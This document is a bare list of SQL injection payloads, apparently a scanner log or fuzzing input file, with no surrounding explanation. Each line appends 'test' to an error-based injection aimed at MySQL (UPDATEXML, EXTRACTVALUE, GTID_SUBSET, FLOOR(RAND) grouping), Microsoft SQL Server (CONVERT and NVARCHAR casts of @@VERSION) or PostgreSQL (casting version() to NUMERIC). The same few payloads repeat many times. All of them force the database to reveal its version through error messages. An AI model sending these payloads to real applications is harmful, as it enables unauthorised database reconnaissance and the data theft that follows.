test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

